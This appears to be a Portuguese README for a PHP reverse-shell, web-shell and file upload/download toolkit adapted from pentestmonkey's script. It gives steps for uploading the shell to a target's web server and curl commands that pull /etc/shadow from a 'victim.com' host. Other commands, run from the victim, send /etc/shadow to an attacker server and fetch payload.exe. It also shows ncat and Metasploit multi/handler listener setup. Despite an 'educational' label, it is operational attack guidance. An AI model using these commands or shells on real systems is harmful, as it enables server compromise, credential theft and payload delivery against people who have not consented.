
Shells PHP que funcionam em Linux, macOS e Windows.
Apenas uma pequena atualização do popular script de reverse shell em PHP pentestmonkey/php-reverse-shell. Créditos ao autor original!
Funciona em sistemas Linux e macOS com /bin/sh e em sistemas Windows com cmd.exe. O script detectará automaticamente o sistema operacional subjacente.
Funciona tanto com ncat quanto com multi/handler.
Testado em:
Os pipes de processo no Windows OS não suportam operações assíncronas, portanto stream_set_blocking(), stream_select() e feof() não funcionarão corretamente, mas encontrei uma solução alternativa.
Feito para fins educacionais. Espero que ajude!
/src/reverse/php_reverse_shell.php requer PHP v5.0.0 ou superior.
/src/reverse/php_reverse_shell_older.php requer PHP v4.3.0 ou superior.
Altere o endereço IP e o número da porta dentro dos scripts conforme necessário.
Copie /src/reverse/php_reverse_shell.php para o diretório raiz da web do seu servidor (por exemplo, para /opt/lampp/htdocs/ no XAMPP) ou envie-o para o servidor web do seu alvo.
Navegue até o arquivo com o seu navegador web preferido.
Confira o simple PHP web shell baseado em requisição HTTP POST.
Confira o simple PHP web shell baseado em requisição HTTP GET. Você deve codificar na URL os seus comandos.
Confira o simple PHP web shell v2 baseado em requisição HTTP GET. Você deve codificar na URL os seus comandos.
Confira o script simples de upload/download de arquivos em PHP baseado em requisição HTTP POST para upload de arquivos e HTTP GET para download de arquivos.
Ao baixar um arquivo, você deve codificar na URL o caminho do arquivo.
Dependendo da configuração do servidor, baixar um arquivo por meio do parâmetro de requisição HTTP GET pode nem sempre funcionar; nesse caso, você terá que definir o caminho do arquivo diretamente no script.
Navegue até o script no servidor web da vítima com o seu navegador web preferido ou use o cURL do seu PC.
Envie um arquivo para o diretório raiz da web do servidor a partir do seu PC:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Baixe um arquivo do servidor para o seu PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Se você elevou seus privilégios iniciais dentro do seu reverse shell, este script pode não ter os mesmos privilégios que o shell. Nesse caso, para baixar um determinado arquivo, você pode precisar copiar o arquivo para o diretório raiz da web e definir as permissões de leitura necessárias.
A partir do seu PHP reverse shell, execute os seguintes comandos cURL.
Envie um arquivo do PC da vítima para o diretório raiz da web do seu servidor:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Baixe um arquivo do diretório raiz da web do seu servidor para o PC da vítima:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Para configurar um listener, abra seu console preferido no Kali Linux e execute um dos exemplos abaixo.
Configure o listener ncat:
ncat -nvlp 9000
Configure o listener multi/handler:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Figura 1 - Ncat

Figura 2 - Dump do Script